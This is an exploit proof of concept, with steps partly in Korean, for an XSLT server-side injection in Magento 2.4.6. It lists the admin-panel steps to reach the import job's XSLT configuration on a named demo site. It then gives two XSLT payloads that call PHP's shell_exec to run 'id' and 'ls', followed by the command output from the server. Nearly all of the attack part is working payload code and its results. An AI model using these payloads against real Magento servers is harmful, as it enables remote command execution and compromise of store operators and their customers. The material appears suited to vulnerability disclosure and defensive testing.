
Magento ver. 2.4.6 - XSLT Server Side Injection
## POC
이 URL에 관리자 자격 증명으로 로그인하세요: https://magento2demo.firebearstudio.com/
SYSTEM > Import Jobs > Entity Type Widget > click edit을 클릭하세요
Import File Type > XML > Import Source is File을 선택하세요
아무 xml 파일이나 업로드하세요
XSLT Configuration을 클릭하고 다음 페이로드를 작성하세요:
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','id')" />
</xsl:template>
</xsl:stylesheet>```
** **uid=10095(a0563af8) gid=1050(a0563af8) groups=1050(a0563af8)
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','ls')" />
</xsl:template>
</xsl:stylesheet>```
**<?xml version="1.0"?>
cron.php
errors
get.php
health_check.php
index.php
media
opt
robots.txt
static
static.php